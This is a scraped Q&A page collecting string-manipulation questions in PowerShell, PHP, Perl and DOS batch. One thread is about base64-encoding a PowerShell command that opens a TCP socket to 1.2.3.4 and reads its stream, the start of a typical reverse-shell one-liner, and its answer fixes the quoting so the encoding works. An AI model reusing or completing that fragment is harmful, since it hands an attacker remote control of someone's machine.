How remove the first dash in a String with powershell script? - powershell

I want to remove the first dash of this string XXXXX-080-YYYYT in order to get a string that looks like XXXXX080-YYYYT with Powershell. No matter how long the word is, my goal is to remove the first dash. Please, can you tell me how to remove this dash from my string? . Thanks in advance.

$string= "XXXXX-080-YYYYT"
$string.Remove($string.IndexOf("-"),1)

Related

PowerShell Adding "-" between every third char in string

Hello I'm new with PowerShell. I have a string that I'm trying to add an "-" between every third char.
00255D413701 -> 00-25-5D-41-37-01
Anyone has an idea how to do this the easiest way?
(?<=\G.{2})(?!$) might do the trick using regex and -replace:
'00255D413701' -replace '(?<=\G.{2})(?!$)', '-'
See https://regex101.com/r/MWOSie/1 for details.

How to replace content within quotes via a file

Why I cannot use str_replace() to replace content between the ""? While I replace links within a file they get skipped since they are within quotes.
Example.
href="/path/to/file/is/here"
should be
href="/New/Path/To/File/Goes/Here"
If the paths/urls were not in quotes, str_replace() would work.
I'm assuming this is PHP. So, from the examples here:
http://php.net/manual/en/function.str-replace.php
You can see that you should not intercalate the same type of quotes.
So try changing the quotes in your code to single quotes or, change, the double quotes in your html to single quotes.
If that's not it, I hope at least that doc reference helps you.
This might help I usually code in java but php is pretty similar. Next time input part of your code so that the community can see your logic.
In your if statement on line 67 the 3rd variable $stringToSearch should be regex not the string your assigning it to. The purpose of regex as you know is to replace characters you don't want in your code as you already know
What you had that was not working:
// replacing string from files
//$stringToSearch = str_replace('"', "!!", $stringToSearch);
$stringToSearch = str_replace($toBeReplaced, $toBeReplacedWith, $stringToSearch);
//$stringToSearch = str_replace("!!", '"', $stringToSearch);
What I am thinking it should be:
$stringToRegex = str_replace('"', "!!", $stringToSearch);
$stringToSearch = str_replace($toBeReplaced, $toBeReplacedWith, $stringToRegex );
If anyone else has any suggestion it would be appreciated as i don't code in php.

powershell convert ToBase64String $ string encoding error

When I try to convert the following code in powershell:
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("**$sm=**(New-Object Net.Sockets.TCPClient('1.2.3.4',21)).GetStream();[byte[]]$b ..etc ..etc ..etc
the result base64 encoded string execution failed.
I get "**+** =(New-Object Net.Sockets.TCPClient" without $sm.
It turns out "+" instead of $sm??
How to encode it in order to include $ into my code to run it properly ?
Mathias R. Jessen, you are absolutely right!
I have changed a single quote to double inside of code and embraced it with a single quote.
Thank you!!

Substitute only one part of a string using perl

I have an array that have some symbols that I want to remove and even thought I find a solution, I will like to know if this is the right way because I'm afraid if I use it with array will remove the character that I might need on future arrays.
Here is an example item on my array:
$string1='22 | logging monitor informational';
so I try the following:
$string1=~ s/\s{6}\|(?=\s{6})//;
So my output is:
22 logging monitor informational
Is the other way that best match "|". I just want to remove the pipe character.
Thanks in advance
"I want to remove just the pipe character."
OK, then do this:
$string1 =~ s/\|//;
This will remove the first pipe character in the string. (You said in another comment that you don't want to remove any additional pipe characters.) If that's not what you want, then I'd suggest telling us exactly what you do want. We can't read minds, you know.
In the mean time, I'd also strongly recommend reading the Perl regular expressions tutorial.

replace a character in the string using DOS commands

I have a requirement in which I need to replace particular character from a string, by using a DOS command.
For example, if my string is "1,2,3,4", I need to get the result "1.2.3.4" by replacing each "," with a "." character.
Following will work for you
#echo off
set string1=1,2,3,4
set string2=%string1:,=.%
echo %string2%
This will give you an idea of what to do, not knowing exactly how you get the string to begin with.
set str=1,2,3,4
set str=%str:,=.%